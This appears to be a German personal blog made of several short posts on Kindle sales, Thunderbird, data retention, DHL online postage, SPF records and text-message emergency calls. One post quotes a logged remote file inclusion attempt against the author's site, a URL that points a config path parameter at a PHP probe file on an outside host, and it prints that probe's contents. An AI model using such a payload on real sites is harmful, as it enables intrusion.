Die meisten Zahlen lassen geneigte Blogleser eher kalt. Die der Buchverkäufe auf Amazon, für die Kindle, sind aber schon interessant. Demnach sollen 25% der Buchvekäufe von Amazon USA auf die Kindle entfallen sein.
Die Geschwindigkeit der Präsentation, wo ich nur mit Mühe mithalten konnte, veranschaulicht die Geschwindigkeit des Medienwandels recht gut.
Via Webmarketingblog
Da ist es eigentlich kein Wunder, dass die Printmedien langfristig gesehen nicht mehr in ihrer jetzigen Form weiterexistieren können.
Das schätzt auch Deutschlandradio in Zusammenhang mit den Kurseinbrüchen und Entlassungen bei der New York Times ähnlich ein (Zum Podcast). Auslöser für Deutschlandradio, war die Politcomdeyreihe The Daily Show “End Times”
Das Thema Internetsperren beschäftigt mich jetzt schon länger. Daher hier ein zwar einseitig beeinflusstes aber anscheinend nicht ganz aus der Luft gegriffenes Plädoyer für ein unbeschränktes Internet.
Ich bin gerade dabei, von Outlook 2003 auf Thunderbird umzusteigen. Dabei fehlten mir einige Funktionen, die sich aber per Erweiterung schnell nachrüsten ließen.
Themes
Das Default Theme ist nicht sonderlich übersichtlich oder schick. Besser gefielen die Beiden:
Sicherheitstipp: User Agent überschreiben, um bei bekannten Sicherheitslücken keine sinnvollen Informationen zu bieten.
Bspw. in about:config den String general.useragent.override mit dem Wert Thunderbird 2.0.0.6 (X11/20071008) anlegen.
Für Backups des Profils, der Add-ons und Mails empfehle ich MozBackup. Das Programm unterstützt auch Firefox und andere Mozilla Foundation Projekte.
Die fertigen Backups werden im Ordner Eigene Dateien mit der Endung *.pcv abgelegt.
Habe gerade etwas interessantes im Host Europe FAQ entdeckt.
Hier die entscheidende Stelle:
Wenn Sie bei uns Produkte betreiben, mit denen Sie selbst derartige Dienste anbieten, z.B. dedizierte oder virtuelle Serverprodukte, führen wir selbst keine Speicherung durch. Diese liegt dann in Ihrem Aufgabenbereich.
Wer einen privaten E-Mail Server betreibt, ist von der Pflicht zur Vorratsdatenspeicherung ausgenommen.
Wenn man bedenkt, dass man teilweise für 1,69€ einen für E-Mail ausreichenden V-Server bekommt…
Terroristen werden also nicht auf Kurierdienste umsteigen müssen.
Zum Betrieb eines Servers und den Spamproblemen, die man sich damit einhandelt, erfährt man einiges in CCC ausgabe 104.
Ob Google große Investitionen tätigen musste, um die Verkehrsdaten für so lange Zeit zu speichern?
Habe gerade per Giropay 3,90 an die Post überwiesen und im Gegenzug eine PDF-Datei erhalten, die sich online mit dem DHL-Server verbindet und einen Testdruck und einen! Audruck ermöglicht.
Eigentlich eine tolle Sache, so braucht man in der Filiale nicht mehr anstehen. Doch das wäre zu einfach gewesen.
Da ich noch nie Druckerprobleme hatte wollte ich mir das Papier sparen und habe gleich richtig gedruckt. Was ich erhalten habe, kann man auf dem Bild erkennen. Zumindest nichts, gegen was mir DHL ein Päckchen zustellt. Ein weiterer Ausdruck war nicht möglich.
Ich kann daher jeden, der nicht wirklich weit von einer Filiale weg wohnt, vor dem Online-Frankieren warnen, solange ein mehrfaches Drucken nicht möglich ist.
Ein zweiter Ausdruck sollte doch anhand des Strichcodes von der Post erkannt und nicht zugestellt werden können?
Kundenservice ist kontaktiert. Mal sehen, ob man dort kulant ist.
Nachtrag: Anscheinend bin ich ja nicht der einzige, der Probleme mit dem Service hat. Zumindest stärkt das meine Hoffnung auf eine Erstattung.
Super, man war kulant. Einen Tag später hatte ich den Link für einen neuen Druck. Das war unkomplizierter und schneller, als ich erwartet hatte.
Mit einem anderen Drucker und Testdruck lief es dann auch problemlos.
Ich hatte gerade Probleme, Mails von meiner Domain an Yahoo zu senden. Die Mails, die von meinem PC und nicht über den Webmailer liefen, landeten alle mit starker Verzögerung im Spamfilter. Das heißt zwar nichts, da selbst die Mails des yahooeigenen Supports dort hineingefiltert wurden, ohne dass ich Filterregeln eingerichtet, o.ä. getan habe. Dennoch wollte ich sichergehen, dass meine Mails immer ankommen.
Wer bei einem der “Großen”, also GMX, Google etc. ist, wird weniger Probleme mit Mailfiltern haben, da sich große Mailprovider untereinander zertifizieren. Ich hatte solche Möglichkeiten, wie Remote DNS Eintrag o.ä. aufgrund meiner dynamischen IP leider nicht. Was aber machbar ist, ist das Einrichten eines SPF Records (Sender Policy Framework). Dieser wird beim Nameserver meist als txt gehostet und erlaubt allen Mailprovidern die Rückfrage, ob es den Absender wirklich gibt. SpamAssassin bei Host Europe wertet einen solchen Eintrag mit -2.5 im Spamcount. Bei +5 wird eine Mail dort gefiltert. Da ich bei anderen Mailern ein ähnliches Vorgehen vermute lohnt ein solcher Eintrag allemal. Mehr…
Ein fleißiger Hacker mit folgender Hausnummer 116.122.158.207 hat heute diese Adresse aufrufen wollen: http://www.knevels.org///admin.php?includes&config[path]=http://www.kwangsung.es.kr//UserFiles/shirohige/zfxid.txt??
Falls jemand den Hack kennt:was bewirkt er, wenn er funktioniert und bei welcher WordPress version? Sieht für mich aus wie das Einfügen eines neuen Users.
Folgenden Inhalt hatte die Textdatei: zfxid.txt<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>
Die Notrufzentrale im US Staat Iowa nimmt nun Notrufe in Textform entgegen. Warum hierzulande noch niemand auf die Idee gekommen ist?
Nagut, es gibt ein paar Punkte, die dagegen sprechen, wie z.B. die bislang noch in der Überzahl befindlichen Telefone ohne Volltastatur und Notrufzentralen, die dann vermutlich nicht nur Scherzanrufe, sondern auch KettenSMS bekommen würden. Dennoch überwiegen die Vorteile. Schwerhörige hätten so auch die Chance zeitnah Hilfe zu holen.
Vermutlich dauert es aber noch ein paar Jahre, bis die Kunde von der Möglichkeit sich hier herumgesprochen hat und ein paar weitere, bis eine Wahl ansteht, vor der das umgesetzt wird.
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Während die Amerikaner das Kriegshandwerk “wunderbar” beherrschen, scheint die Versorgung der eigenen Soldaten nicht gerade zu den amerikanischen Spezialitäten zu gehören.
Hier einmal ein Fotointerview, das zeigt, dass der Krieg, trotz großer Entfernung zum Schauplatz, auch in den USA seine Spuren hinterlassen hat: